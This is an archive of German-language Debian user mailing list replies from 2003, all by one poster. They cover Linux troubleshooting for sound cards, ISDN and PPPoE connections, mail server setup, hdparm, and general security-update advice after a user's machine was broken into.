On Tue, Aug 12, 2003 at 07:18:55PM +0200, Sascha Morr wrote:
> Hallo,
> 
> ich habe mir Heute mal den Spaß gemacht die Soundkarte THYPOON Acoustic 6 
> (http://www.anubisline.com/german/articlec.asp?id=51005&catid=004) im Laden 
> mitzunehmen da diese bei den unterstützten Betriebssystemen auch groß und fett Linux 
> aufgedruckt hat und keinerlei Vermerkt vorhanden ist das die Karte unter Linux nur 
> eingeschränkt funktionieren würde bzw. unterstützt wird. Nun außer der Aufschrift 
> Außen auf dem Karton habe ich weder im Handbuch noch auf den CDs oder auf der 
> Homepage des Herstellers (siehe oben) etwas zum Thema Linux gefunden.
> 
> Hat einer von Euch schon Erfahrungen mit der Karte? Ist das aufgedruckte Linux 
> schlichter Verpackungsschwindel? Bei letzteren könnte man wohl rein rechtlich sogar 
> von einer arglistigen Täuschung ausgehen.

Support CMI8738 based audio cards
CONFIG_SOUND_CMPCI_CM8738
Say Y or M if you have a PCI sound card using the CMI8338
or the CMI8378 chipset.  Data on this chip is available at
.
   
A userspace utility to control some internal registers of these
chips is available.
.

Reicht das, oder soll ich weitere Configurationsoptionen für diese Karte
hier schreiben?
Du solltest vielleicht erst mal an den well-known locations nachsehen
bevor du hier wilde Vermutungen über Schwindeleien und Täuschung
vorbringst.

> Vielen Dank für Eure Antworten

Erfahrungen: Keine. Aber:
00:0a.0 Multimedia audio controller: C-Media Electronics Inc CM8738 (rev
10)
Nicht daß ich mit der Karte schon groß was gerissen hätte, sie spielt
ogg's und Videoton, macht hin und wieder mal einen Systemsound und einen
Kernel hat sie auch schon abgespielt. Der Mikro-Eingang hat nicht
genügend Verstärkung.

> Grüße
> Sascha


gruss
f


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Re: Sicherheitslücken (war: was an debian so toll ist)

2003-08-14 Diskussionsfäden Frank Lorenzen
On Tue, Aug 12, 2003 at 01:42:28AM +0200, Jan Trippler wrote:
[...] Warum hat Debian soviele Security-Advisorys
> Für eine glaubhaftere Beurteilung sollte man die Security-Announces
> der Distris lesen, dann relativiert sich das Ergebnis IMHO.

Eine sehr gute Quelle ist meiner meinung nach win-sec-ssc vom DFN-Cert.
Das Problem ist nur, daß man da als normaler Hanswurst nicht rankommt.
Wen es interessiert: http://www.dfn-cert.de/services

Ich kann allerdings auch bestätigen daß Debian dort öfter auftaucht als
andere Unices, Sorgen mache ich mir deswegen aber keine.

> Jan


gruss
f


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Re: ISDN-Verbindung nicht erfolgreich

2003-08-14 Diskussionsfäden Frank Lorenzen
On Wed, Aug 13, 2003 at 01:55:32PM +0200, Ruediger Noack wrote:
> Frank Lorenzen wrote:
> >Würde sich mit meiner obigen Aussage decken. Wie hast Du gewählt? Mit
> >dem DFÜ-Netzwerk oder mit dieser Fritz-Telefon-Tastatur?
> 
> Ich habe eine DFÜ-Verbindung eingerichtet.
> 
> >Sagt mit überhaupt nix. Wenn ich ISDN debugge dreh ich normalerweise den
> >Debug in /etc/isdn/ipppd.ipppn an. Ist dort schon vorbereitet und muß
> >nur auskommentiert werden.
> 
> Das bringt bei mir nichts. Kann evtl. damit zusammenhängen, dass bei mir 
> das Modul avma1_cs im Spiel ist. Das Zusammenspiel mit HiSax verstehe 
> ich nicht so ganz. Jedenfalls funktioniert isdnlog (s. man isdnlog) nur 
> mit dem HiSax-Treiber.

Hmm, da der isdnlog bei dir ja offensichtlich zu funktionieren scheint,
du schriebst ja daß du dort das Debugging hochgedreht hast, ist entweder
HiSax im SPiel oder diese CAPI-Kompatiblitäts-Schnittstelle.
HiSax ist die ISDN Hardwareunterstützung im Kernel, die soweit ich weiß
_auch_ ein Modul für die Fritz-PCMCIA zur verfügung stellt.
Ist "avma1_cs" aus den Cardservices oder ist das ein Capi-Modul von AVM?
Wenn es aus dem Kernel ist benutzt du wirklich HiSax, nutzt du ein
Binary Modul von AVM ist diese CAPI-Compat im spiel, denn ohne die würde
isdnlog nichts anzeigen.

Auf jeden Fall solltest du dem _ipppd_ die debug Option mitgeben, das
erzeugt lesbarere Meldungen als das D-Kanal Logging hochzuschrauben.


Sollte ich völlig danebenliegen mit ipppd und Co. dann ist das mit der
PCMCIA-Karte so _grundlegend_ anders als mit Steckkarten daß ich auch
nicht weiterhelfen kann.

> Gruß
> Rüdiger

gruss
f


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Re: ISDN-Verbindung nicht erfolgreich

2003-08-14 Diskussionsfäden Frank Lorenzen
On Wed, Aug 13, 2003 at 12:47:37PM +0200, Ruediger Noack wrote:
[...]
> Dienstekennungen sind mir bekannt. Ich hänge hier an einer Nebenstelle 
> einer Telefonanlage. Nach meiner Erfahrung ist dabei fast immer die 
> Anlage selbst für die Kennung zuständig (oder schlampig konfiguriert 
> ;)).

Der Gedanke ist nicht ganz von der Hand zu weisen. Ich kenne aber auch
Situationen, in denen _definitiv_ das Endgerät den SID setzt.
Ohne es wirklich zu wissen wird es wohl so sein, daß die Anlage den ID
setzt, wenn ihn das Endgerät nicht setzt. Aber ohne Garantie.

> Jedenfalls habe ich mal testweise das noch vorhandene W2K gebootet 
> (ich schreibe jetzt noch von da) und diesen Handy-Test gemacht. Klappt 
> astrein.

Würde sich mit meiner obigen Aussage decken. Wie hast Du gewählt? Mit
dem DFÜ-Netzwerk oder mit dieser Fritz-Telefon-Tastatur? Die macht
natürlich auch keine Datenverbindung auf.

> Aber wie auch immer. Die Logeinträge ändern sich (außer der zu wählenden 
> Nummer) eben überhaupt nicht, wenn ich den Provider, das Handy, ein 
> Telefon, ... anwähle. Ich habe einfach den Verdacht, er wählt gar nicht. 
> Wie schön waren doch früher für solche Test laute Modems... ;-)

Wie wahr.

> >
> >Versuch mal den Verbose-Level von isdnlog höher zu stellen, vielleicht
> >kann man dann eher erkennen was passiert.
> >
> Ich habe den Loglevel in der isdnlog.isdnctrl0 erhöht. Bei 3 sehen die 
> Einträge so aus:
> 
>   snip  --
> Aug 13 11:52:40 w2lap201 kernel: ippp0: dialing 1 08008466273...
> Aug 13 11:52:48 w2lap201 isdnlog: 57:52.60 l3 release_l3_process: last 
> process
> Aug 13 11:52:48 w2lap201 isdnlog: 57:52.60 l3 release_l3_process: not 
> release link
> Aug 13 11:52:49 w2lap201 kernel: isdn_net: local hangup ippp0
> Aug 13 11:52:49 w2lap201 kernel: ippp0: Chargesum is 0
>   snip  --

Sagt mit überhaupt nix. Wenn ich ISDN debugge dreh ich normalerweise den
Debug in /etc/isdn/ipppd.ipppn an. Ist dort schon vorbereitet und muß
nur auskommentiert werden.

> 
> Ab Level 4 sieht es wirr aus. Eine Menge '0', '1', '?', aber nicht 
> wirklich eine brauchbare Info. Deshalb verschone ich die Liste lieber 
> erst einmal damit.
> 
> Ratlos...
> 
> Gruß
> Rüdiger


gruss
f


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Re: ISDN-Verbindung nicht erfolgreich

2003-08-14 Diskussionsfäden Frank Lorenzen
On Wed, Aug 13, 2003 at 10:38:39AM +0200, Ruediger Noack wrote:
> Moin
> 
[...] Fritz PCMCIA
> 
> Und der Anwahlversuch:
>   snip 
> Aug 13 09:17:36 w2lap201 kernel: ippp0: dialing 1 ...
> Aug 13 09:17:45 w2lap201 kernel: isdn_net: local hangup ippp0
> Aug 13 09:17:45 w2lap201 kernel: ippp0: Chargesum is 0
>   snip 
> 
> Als DSL-Verwöhnter habe ich mit ISDN keine Erfahrung,
> Was bedeutet eigentlich die "1" hinter dialing? Zuerst hatte ich auf fest
> verdrahtete LEADINGZERO getippt, aber da man diese 1 bei Google-Treffern
> sehr oft findet, wohl eher nicht. 

Diese 1 zeigt an, daß es der erste Anwahlversuch ist.
Hint: /etc/isdn/device.ipppn
#   dialmax name num
# Set the number of dial atempts for interface "name" to "num".
# If
# dialing, each phonenumber is tried this many times before
# giving up.
#isdnctrl dialmax ${device} NUM

> Der Eintrag LEADINGZERO in /etc/isdn/device.ippp0 zeigt übrigens keinen
> Effekt (in den logs), deshalb habe ich mit der REMOTEMSN (ebenfalls
> erfolglos) probiert.
> 
> Angewählt soll der Provider der Firma werden, momentan zeigt die
> device.ippp0 auf mein Handy. So könnte ich wohl am besten eine
> erfolgreiche Anwahl sehen. Hardwaredefekt kann ich ausschließen.

Ohne das Ändern der SID wirst du kein Handy anrufen können.
Stell die Nummer bitte wieder auf deine Firma oder meinetwegen einen
Call-By-Call Provider.
Wenn es denn unbedingt ein Telefon sein muß, daß du anrufst, würde sich
am einfacjsten Anbieten an einer ISDN-Anlage den ensprechenden
Apparat/die entsprechende Nummer auf Annahme von SID 7 einzustellen.
Wie man die ausgehende SID in den isdnutils umstellt weiß ich nicht.

> Kann mir jemand weiterhelfen? Danke schon mal dafür.
> 
> -- 
> Gruß
> Rüdiger


gruss
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Re: pppoe[384]: read (asyncReadFromPPP)

2003-08-14 Diskussionsfäden Frank Lorenzen
On Fri, Aug 08, 2003 at 11:33:58AM +0200, Kim Neunert wrote:
> Hallo allerseits,
> 
> In meiner syslog habe ich obige Meldung gefunden. Ist die normal? Die Meldung 
> tritt sowohl bei 2.4.18-k7 als auch bei 2.4.21-k7 auf (Woody mit ein paar 
> Backports).
> 
> Ich verwende RTL8139 (8139too), hatte bis jetzt keine Probleme. Da ich von den 
> Dingern einige billig ersteigert habe und die demnächst in ein paar Rechner 
> einbauen möchte (ja ich weiß, das sind Billig-Karten) interessiert mich doch, 
> inwiefern Probleme auf diese Karten zurückzuführen sind.
> 
> Wer sonstige Infos oder Links zu den Macken dieser Karten hat ...

Diese Meldung entsteht beim Trennen der DSL-Verbindung. Ich bin mir aber nicht
sicher ob an _allen_ Vermittlungsstellen. Im Prinzip kannst du das
ignorieren, ich mache das seit Jahren so.

> Gruß
> 
> Kim
> 
> ---snip---
> 
> 
> Aug  8 11:24:03 quorty pppd[374]: rcvd [LCP TermAck id=0x2]

Aufgrund des empfangenen TermAck gehe ich mal davon aus daß Du das
Abbauen der Verbindung angestoßen hast? LCP ist das
Line-Control-Protocol. Bei Problemen mit der Verbindung solltest du
stets erstmal danach ausschau halten.

> Aug  8 11:24:03 quorty pppd[374]: Connection terminated.

NAch dem Ack haben wirs getan.

> Aug  8 11:24:03 quorty pppd[374]: Connect time 2.2 minutes.

Das war aber kurz. War das so beabsichtigt oder hast du Probleme mit der
Verbindung?

> Aug  8 11:24:03 quorty pppd[374]: Sent 4200 bytes, received 16430 bytes.

Was wären wir ohne die Statistik.

> Aug  8 11:24:03 quorty pppoe[384]: read (asyncReadFromPPP): Input/output error

Der pppd ist weg. Damit auch /dev/pts/wasweisich und pppoe beschwert
sich daß ihm keiner bescheidgesagt hat.

> Aug  8 11:24:03 quorty pppoe[384]: Sent PADT
> Aug  8 11:24:03 quorty pppd[374]: Script /usr/sbin/pppoe -I eth0 -T 80 -m 1452 
> finished (pid 384), status = 0x1

Aus Ärger darüber beendet er sich.

> Aug  8 11:24:03 quorty pppd[374]: Script /etc/ppp/ip-down finished (pid 780), 
> status = 0x0

Räumt aber vorher noch auf.




gruss
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Re: pppoe

2003-08-14 Diskussionsfäden Frank Lorenzen
On Fri, Aug 08, 2003 at 01:08:57PM +0200, Frank Evers wrote:
> 
> Hallo Rico
> 
> On Donnerstag, 7. August 2003 13:06, Rico Saupe wrote:
> > Aug  7 12:28:16 redglow pppd[190]: pppd 2.4.1 started by root, uid 0
> 
> 
> KA ob es daran liegt, aber in der doku zu kernel 2.4.21 steht:
> 
> CONFIG_PPPOE
> 
>  Support for PPP over Ethernet.
> 
>  This driver requires the current pppd from the "ppp" CVS repository on 
> cvs.samba.org. The required support will be present in the next ppp 
> release (2.4.2).

Das ist Kernel-Mode PPPoE. Das brauchst du nicht, wenn du Debian-PPPoE
(aka Roaring Penguin) benutzt.

> Gruß Frank



gruss
f


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Re: Wo ist die lilo.conf?

2003-08-04 Diskussionsfäden Frank Lorenzen
On Mon, Aug 04, 2003 at 06:02:33PM +0200, Manfred Kuberczyk wrote:
> Tach Leute,
> ich habe sid installiert, auf /dev/hdb. Auf /dev/hda ist M$ XP. Beim 
> Start funktioniert alles Lilo 22. ? irgendwas. Bei der Installation Lilo 
>  in MBR. So weit so gut. Jetzt wollte ich /etc/lilo.conf editieren, und 
> sie ist nicht da.
> 
> pequod:/home/manni# find / -name lilo
> /usr/lib/lilo
> /usr/lib/menu/lilo
> /usr/share/doc/lilo
> /usr/share/lilo
> /sbin/lilo
> 
> in den Verzeichnissen ist auch nichts. Habe ich was versäumt?

Du willst lilo.conf suchen, nicht lilo. Oder du suchst nach "lilo*".

> ciao Manni


gruss
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Re: Host name lookup failure

2003-07-24 Diskussionsfäden Frank Lorenzen
On Tue, Jul 22, 2003 at 01:56:36PM +0200, Eric Marchionni wrote:
> hi
> 
> wieso kriege ich nach einem
> /etc/init.d/networking restart
> folgenden output?

[...] snip

> iface eth1 inet static
> address 10.0.0.1
> netmask 255.255.255.0
> network 10.0.0.0
> broadcast 10.0.0.255
> gateway
--^

Ja welches denn?

> # The third network card (to DMZ)
> iface eth2 inet static
> address 192.168.0.1
> netmask 255.255.255.0
> network 192.168.0.0
> broadcast 192.168.0.255
> gateway
--^

Da auch.

Ob die Fehlermeldungen da her kommen weiß ich auch nicht, aber einen
Versuch wärs mir wert.


> gruss
> eric


gruss
f


-- 
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Re: Komisches ps aux

2003-07-24 Diskussionsfäden Frank Lorenzen
On Thu, Jul 24, 2003 at 09:27:42PM +0200, Frank Lorenzen wrote:
[...]
> Was mich sehr verwundert hat ist die uptime von 61 Tagen, denn der
> Rechner läuft definitiv schon seit ... ähh ja, hmmm, lange halt.
> Definitiv über Ein Jahr, ich kann aber leider nicht sagen _wie_ lange
> über Ein Jahr.

Manchmal bin ich mit Blindheit geschlagen. Grade eben drübergestolpert:

-rw-r--r--1 root root 2520 Jan  8  2002 dmesg

Der Rechner läuft also seit dem 8.01.02.


gruss
f


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Re: Komisches ps aux

2003-07-24 Diskussionsfäden Frank Lorenzen
On Tue, Jul 22, 2003 at 06:38:51PM +0200, Ruediger Noack wrote:
> Frank Lorenzen wrote:
> >root  4596  0.0  0.1  1580  120 ?S 2004   0:00 
> >/usr/lib/postfix/master
> >postfix   4599  0.0  0.5  1624  380 ?S 2004   0:00 qmgr -l -t 
> >fifo -u -c
> >root 31105  0.0  1.1  1980  756 ?SJun04   0:00 SCREEN -O
> >root 31106  0.0  1.2  2016  764 pts/1SJun04   0:00 /bin/bash
> >
> >Ich hoffe doch die seltsamen Zeiten in der "START" Spalte kommen daher
> >daß mir die uptime übergelaufen ist. Oder?
> >Ein wenig verunsichert bin ich schon.
> >
> Ich würde raten, da hat einfach jemand an der Uhr gedreht. Hat NTP 
> verrückt gespielt? Schau mal in diverse logfiles und checke, ob sie 
> chronologisch sind.

Ich habe mal in /var/log/messages die MARK's von syslog überprüft. Die
logfiles gehen ca. 1 Monat zurück und sind cronologisch.
ntpd ist nicht installiert, deshal geht mittlerweile, wie mir nach dem
Abschicken der Mail auffiehl die Uhr um ca. 1/2 Stunde vor.
Was mich sehr verwundert hat ist die uptime von 61 Tagen, denn der
Rechner läuft definitiv schon seit ... ähh ja, hmmm, lange halt.
Definitiv über Ein Jahr, ich kann aber leider nicht sagen _wie_ lange
über Ein Jahr.

> Gruß
> Rüdiger

gruss
f


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Komisches ps aux

2003-07-21 Diskussionsfäden Frank Lorenzen
Neulich remote:

USER   PID %CPU %MEM   VSZ  RSS TTY  STAT START   TIME COMMAND
root 1  0.0  0.1  1008   64 ?SMay21   0:00 init [2]
root 2  0.0  0.0 00 ?SW   May21   0:00 [kflushd]
root 3  0.0  0.0 00 ?SW   May21   0:40 [kupdate]
root 4  0.0  0.0 00 ?SW   May21   0:00 [kpiod]
root 5  0.0  0.0 00 ?SW   May21   0:03 [kswapd]
root   186  0.0  0.5  1352  376 ?SMay21   0:08 /sbin/syslogd
root   188  0.0  0.2  1220  172 ?SMay21   0:00 /sbin/klogd
root   394  0.0  0.2  1180  180 ?SMay21   0:07 /usr/sbin/cron
root   398  0.0  0.0   9920 tty2 SW   May21   0:00 [mingetty]
root   399  0.0  0.0   9920 tty3 SW   May21   0:00 [mingetty]
root   400  0.0  0.0   9920 tty4 SW   May21   0:00 [mingetty]
root   401  0.0  0.0   9920 tty5 SW   May21   0:00 [mingetty]
root   402  0.0  0.0   9920 tty6 SW   May21   0:00 [mingetty]
root 24337  0.0  0.0   9920 tty1 SW   Oct21   0:00 [mingetty]
root 20263  0.0  0.4  2548  304 ?S 2004   2:07 /usr/sbin/sshd
root 22955  0.0  1.4  2444  908 ?S 2004   0:14 /usr/sbin/named
root  4407  0.0  0.6  1156  436 ?S 2004   0:00 /usr/sbin/rinetd
root  4596  0.0  0.1  1580  120 ?S 2004   0:00 /usr/lib/postfix/master
postfix   4599  0.0  0.5  1624  380 ?S 2004   0:00 qmgr -l -t fifo -u -c
root 31105  0.0  1.1  1980  756 ?SJun04   0:00 SCREEN -O
root 31106  0.0  1.2  2016  764 pts/1SJun04   0:00 /bin/bash
root 10856  0.0  0.8  1504  536 ?S06:25   0:00 /usr/sbin/apcupsd
root 10858  0.0  0.4  1504  316 ?S06:25   0:00 /usr/sbin/apcupsd
root 10859  0.0  0.8  1508  512 ?S06:25   0:00 /usr/sbin/apcupsd
postfix  11757  0.0  1.0  1584  672 ?S22:00   0:00 pickup -l -t fifo -c
root 11814  0.1  0.7  5760  476 ?S23:19   0:01 /usr/sbin/sshd
root 11816  0.0  1.9  2004 1216 pts/0S23:19   0:00 -bash
root 11944  0.0  1.5  2624  964 pts/0R23:31   0:00 ps uax

date
Mon Jul 21 23:32:41 CEST 2003

uptime
11:36pm  up 61 days, 21:08,  1 user,  load average: 0.00, 0.00, 0.00


Ich hoffe doch die seltsamen Zeiten in der "START" Spalte kommen daher
daß mir die uptime übergelaufen ist. Oder?
Ein wenig verunsichert bin ich schon.



gruss
f


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Re: Cyrus, IMAP, Fetchmail, Postfix - Mails werden nicht gelöscht

2003-07-21 Diskussionsfäden Frank Lorenzen
On Mon, Jul 21, 2003 at 12:32:25PM +0200, Kai wrote:
> Kai wrote:
> 
> >Was geht:
> >Fetchmail holt mittels der COnfig in /etc/fetchmailrc als user mail 
> >die Nachrichten und wirft diese unter /var/mail/mail ab.
> >Cyrus moved die Teile durch den Spamassassin und sortiert die Sachen 
> >in die Imapfächer korrekt ein. 
> 
> Wobei es natürlich procmail ist, was den ersten Teil des movens 
> erledigt. Cyrus wird ja nur in 2. Instanz damit betraut.

Sorry, vielleicht hab ich da ja was nicht richtig verstanden.
Warum nimmst Du den Umweg über procmail? In postfix kann man doch über
dieses content_filter dingens spamassassin direkt einbinden und dann
mailbox_transport auf "cyrus" setzen.

> 
> Kai
> 

gruss
f


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Re: exim versenden von mails nicht möglich

2003-07-21 Diskussionsfäden Frank Lorenzen
On Mon, Jul 21, 2003 at 11:27:36AM +0200, Matthias Hagedorn wrote:
> Hallo Leute!
> 
> Ich bin seit ein paar Tagen Von SuSE auf debain 3.0 umgestiegen ;)
> 
> Es klappt alles wunderbar, nur bekommen ich es nicht hin dem exim richtig zu 
> konfigurieren :(
> 
> Mein Mail-Accont habe ich bei t-online (mailto.t-online.de)
> 
> Ausschnitt aus meiner exim.conf
[...]
> local_domains = localhost:t-online.de

Diese Zeile ist die Quelle deiner Probleme. Warum um alles inder Welt
soll _dein_ Mailserver E-Mail für alle @t-online.de entgegennehmen?

[...]
> remote_smtp:
>   driver = smtp
>   authenticate_hosts = mailto.t-online.de
> end

mailto.t-online.de kann SMTP-Auth?
Ausserdem hast du es nicht konfiguriert (normalerweise ganz unten in der
exim.conf)

Weiter ist mir aufgefallen das du keinen Smarhost konfiguriert hast.

[...]
> 
> Die log von exim sagt, soweit wie ich das verstehen kann,
> dass er local zustellen will. Komisch
> 
> --<
> 
> 2003-07-21 10:41:31 19eWEd-SY-00 <= [EMAIL PROTECTED] U=selflinux 
> P=local S=587 [EMAIL PROTECTED]
> 2003-07-21 10:41:31 19eWEd-SY-00 ** [EMAIL PROTECTED]: unknown 
> local-part "herbert-kw" in domain "t-online.de"

t-online.de sieht er als lokal, es gibt aber keinen User oder alias
namens herbert-kw auf deinem Rechner.

> 2003-07-21 10:41:31 19eWEd-SY-00 ** [EMAIL PROTECTED]: unknown local-part 
> "--" in domain "t-online.de"
> 2003-07-21 10:41:31 19eWEd-SY-00 ** [EMAIL PROTECTED]: unknown local-part 
> "hdrs" in domain "t-online.de"
> 2003-07-21 10:41:31 19eWEd-SY-00 ** [EMAIL PROTECTED]: unknown local-part 
> "-r" in domain "t-online.de"
> 2003-07-21 10:41:31 19eWEd-SY-00 ** [EMAIL PROTECTED]: unknown local-part 
> "delay" in domain "t-online.de"
> 2003-07-21 10:41:31 19eWEd-SY-00 ** [EMAIL PROTECTED]: unknown 
> local-part "failure" in domain "t-online.de"

Wo das herkommt weuß ich auch nicht. Hast du solche Aliase oder .forward
gesetzt?

> 2003-07-21 10:41:32 19eWEe-Sc-00 <= <> R=19eWEd-SY-00 U=mail P=local 
> S=1888
> 2003-07-21 10:41:32 19eWEd-SY-00 Error message sent to 
> [EMAIL PROTECTED]
> 2003-07-21 10:41:32 19eWEd-SY-00 Completed
> 2003-07-21 10:41:32 19eWEe-Sc-00 ** [EMAIL PROTECTED]: unknown 
> local-part "herbert-kw" in domain "t-online.de"
> 2003-07-21 10:41:32 19eWEe-Sc-00 Frozen (delivery error message)

Das ist das Resultat: Kein Delivery war erfolgreich, die Mail wurde
eingefroren.

> Vielleicht hat jemand von Euch eine Idee, was ich falsch mache. 

Du solltest dein E-Mail setup noch mal überdenken.

[...]
> Gruss
> Matthias Hagedorn


gruss
f


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Re: hdparm-Problem

2003-07-21 Diskussionsfäden Frank Lorenzen
On Mon, Jul 21, 2003 at 10:43:46AM +0200, Michael Ott wrote:
[...]
> 00:02.5 IDE interface: Silicon Integrated Systems [SiS] 5513 [IDE]
> 
> Und in meiner .config:
> CONFIG_BLK_DEV_SIS5513=y
>.--.
> Daran kann es nicht liegen. Anderer Tipp? |o_o | 

Mit 99%iger Wahrscheinlichkeit an dem, was in patch-2.4.22.log als
SiS IDE updates bezeichnet wird.

Mein Reden seit
<[EMAIL PROTECTED]>
Aber mir glaubt ja niemand.

> CU   //   \ \ 
> (| | )   
>   Michael  /'\_   _/`\


gruss
f


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Re: Einbruch in Rechner

2003-07-21 Diskussionsfäden Frank Lorenzen
On Mon, Jul 21, 2003 at 11:06:54AM +0200, Björn Gaworski wrote:
> So, mir ist gerade aufgefallen, das ich wahrscheinlich die Emailadresse vom 
> Einbrecher hab. Ich konnte nämlich vom Linuxrechner über
> sendmail nix versenden, weil ich das nicht konfiguriert hatte. Und jetzt steht im 
> Syslog ne Fehlermeldung, dass eine Email an
> [EMAIL PROTECTED] nicht gesendet werden konnte, wegen irgendwelcher 
> Domäneneinstellungen.

Schau dir mal den Inhalt der Mail an! Siehts evtl. nach Spam aus?

> Jetzt brauch ich mir nur noch überlegen, was ich dem blöden Idioten schreibe ;-)

Falls es wirklich seine E-Mail Adresse ist, dann lass deiner Phantasie
freien lauf ;-)

> __
> Björn Gaworski


gruss
f


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Re: Problem mit .deb Paket Installation....

2003-07-20 Diskussionsfäden Frank Lorenzen
On Sun, Jul 20, 2003 at 10:43:56PM +0200, Manfred Gnaedig wrote:
> Hallo,
> ich versuche gerade ein .deb Paket zu installieren.
> Dabei bekomme ich diese Ausgabe:
> 
> backup:/tmp# dpkg -i backuppc_2.0.0-4_all.deb
> (Reading database ... 14250 files and directories currently installed.)
> Preparing to replace backuppc 2.0.0-4 (using backuppc_2.0.0-4_all.deb) ...
> Unpacking replacement backuppc ...
> dpkg: dependency problems prevent configuration of backuppc:
>  backuppc depends on libcompress-zlib-perl; however:
>   Package libcompress-zlib-perl is not installed.
>  backuppc depends on libarchive-zip-perl; however:
>   Package libarchive-zip-perl is not installed.
>  backuppc depends on samba-common | samba-tng-common; however:
>   Package samba-common is not installed.
>   Package samba-tng-common is not installed.
>  backuppc depends on smbclient; however:
>   Package smbclient is not installed.
>  backuppc depends on perl-suid; however:
>   Package perl-suid is not installed.
> dpkg: error processing backuppc (--install):
>  dependency problems - leaving unconfigured
> Errors were encountered while processing:
>  backuppc
> 
> 
> Kann damit jemand etwas anfangen?

Hmmm, steht doch da. Du solltest libcompress-zlib-perl,
libarchive-zip-perl, samba-common, smbclient und perl-suid installieren.

> 
> Herzlichen Dank und liebe Grüße
> Manfred
> 


gruss
f


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Re: hdparm-Problem

2003-07-20 Diskussionsfäden Frank Lorenzen
On Sun, Jul 20, 2003 at 10:42:29PM +0200, Marcus Frings wrote:
> * Michael Ott <[EMAIL PROTECTED]> wrote:
> 
> > Seit dem Update auf 2.4.21 (kernel.org) bekomme ich beim Booten folgende
> > Meldungen:
> 
> > /dev/hda:
> >  setting 32-bit IO_support flag to 3
> >  setting multcount to 16
> >  setting using_dma to 1 (on)
> >  setting xfermode to 69 (UltraDMA mode5)
> >  HDIO_DRIVE_CMD(setxfermode) failed: Input/output error
>^^
> >  multcount= 16 (on)
> >  IO_support   =  3 (32-bit w/sync)
> >  using_dma=  1 (on)
> 
> > Der Grund dafür liegt in folgender Anweisung:
> > /sbin/hdparm -d1 -c3 -m16 -X69 /dev/hda
> 
> Ich hatte das selbe Problem und Google lieferte keine Lösung. Seitdem
> ich wieder von 2.4.21 auf 2.4.20 zurückgegangen bin, hat sich das
> Problem erledigt. In den Changelogs des Vanilla-Kernels konnte ich
> nichts betreffendes entdecken. Sag mal bescheid, wenn Du die Lösung
> gefunden hast.

Unbestätigten Gerüchten und Gemunkel zufolge hat der 2.4.21 wohl
Probleme mit einigen Platten und/oder Chipsets in bezug auf DMA.

Quelle  des Gemunkels war glaube ich irgendwo bei pro-linux.

> Gruß,
> Marcus


gruss
f


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Re: opengroupware

2003-07-20 Diskussionsfäden Frank Lorenzen
On Sun, Jul 20, 2003 at 10:08:04PM +0200, Martin Schatta wrote:
> hallo zusammen
> 
> gibt es hier jemanden der sich mit der installation von opengroupware auskennt?
> das HowTo von der Homepage www.opengroupware.org bringt mich da nicht wirklich 
> weiter bei der konfiguration des Apache.

Äh,
was ist an Punkt 5 von
http://helms-deep.cable.nu/~rwh/howtos/OpenGroupware-Debian-HOWTO.html
unverständlich?

Wo klemmt es denn?

> währe nett wenn mir da jemand helfen könnte der die groupwarelösung schonmal unbter 
> Debian installiert hat
> 
> gruß
> Martin Schatta


gruss
f


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Re: Fw: Einbruch in Rechner

2003-07-20 Diskussionsfäden Frank Lorenzen
On Sun, Jul 20, 2003 at 07:26:57PM +0200, Björn Gaworski wrote:
> Wer Lust hat kann das unten nochmal alles lesen, mein Kommentar dazu:
> 
> Linux sicher zu halten ist wohl viel komplizierter, als ich es mir
> vorgestellt habe. Ist ja ein Fulltimejob ;) Mal sehen ob ich dazu noch zeit

Ganz in Gegenteil. Ich wollte keine Angst schüren oder so, ich habe nur
versucht, zugegeben ein wenig wortreich, darzustellen, daß ein Rechner
nicht durch das Aufspielen von Linux sicher wird.

Bei Debian Stable ist das mit der "SSecurity" wirkliches "easy-going":
Due solltest eine Handvoll (wirklich nur _eine_ Handvoll) Regeln beim
konfigurieren beachten. Du solltest die Updates von security.debian.org
benutzen und einfach 1mal am Tag, sofern du auch an diesem Tag ins
Internet gehst per apt-get bzw. dselect verfügbare Updates einspielen.
Das ist wirklich Kindergeburtstag: apt-get update; apt-get upgrade oder
mit dselect >update< ausführen, >select<, Leertaste, Schauen was er
updaten will, Return, >Install< ausführen. Das wars. Damit hälst Du dein
Sytstem aktuell.

Im gegesatz dazu, mußt du dir bei anderen Unices/Linuxen erstmal deine
Updates zusammensuchen. Das machen Debian und die Security-Maintainer
alles für dich. Du mußt es nur nutzen und von Hand anstoßen. Und selbst
daß kann man automatisieren.

> hab, ansonsten geh ich halt nie mehr ins Internet *lüg*

Hihi.
Alles halb so wild. *KEINE PANIK*
Ich wollte dich nur aus einer eventuellen Traumwelt "Linux ist sicher"
herausstoßen. DAS ist nämlich das Gefährliche.

Tu ein wenig aktives für die Sicherheit deiner Rechner. Es ist bei
Debian gar nicht schwer.

> Björn


gruss
f


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Re: Fw: Einbruch in Rechner

2003-07-20 Diskussionsfäden Frank Lorenzen
On Sun, Jul 20, 2003 at 06:49:12PM +0200, Frank Lorenzen wrote:
[...] Snip

Axo,

fast hätt ichs vergessen. Hilfreich könnte sein, wenn du auf dem
kompromittierten Rechner mal ein dpkg -l laufen lässt und die Ausgabe
hier postest. Daraus könnte man zumindest mal schließen, ob es an alter,
anfälliger Software lag, oder doch was ganz anderes war. Ich gehe nicht
davon aus, daß der Angreifer die Paketdatenbank verändert hat um seine
Einbruchsstelle zu verschleiern, obwohl das zugegebenermaßen mal eine
nette Idee wäre ;-)


gruss
f


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Re: Fw: Einbruch in Rechner

2003-07-20 Diskussionsfäden Frank Lorenzen
On Sun, Jul 20, 2003 at 06:34:59PM +0200, Peter Schubert wrote:
[...]
> *Altbewährtes" ?
> da müssten ja die Expis ruckzuck drauf kommen ?

Nun, im Unix/linux Bereich geht es zum Glück noch nicht so schlimm zu
wie mit diesen rasend schnellen Würmern unter Windows.
Aber im prinzip hast du recht.
Es gibt einige "ready-to-use" Exploits/Rootkits. Wenn man solche
konsequent einsetzt (wenn viele das einsetzen) wird sicher auch der
"Hilfe ich wurde gerootet" Aufschrei lauter werden.

[...]
> und wie sieht es damit aus, dass es Zufall war, dass er in das besagte 
> System "hineinfiel"... ?
u
Ich gehe sogar davon aus, daß es zufall war das er in _dein_ System rein
ist. Er hat nur nicht per Zufall eine Lücke gefunden.

> Peter

gruss
f


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Re: Fw: Einbruch in Rechner

2003-07-20 Diskussionsfäden Frank Lorenzen
On Sun, Jul 20, 2003 at 03:43:43PM +0200, Björn Gaworski wrote:
> Achso, hatte ich vergessen zu erwähnen: die Logfiles sind alle gelöscht :(
> 
> Ich find das eh fragwürdig, weil ich Woody installiert hab und nix
> besonderes verändert oder eingestellt hab. Alle Useraccounts sind durch
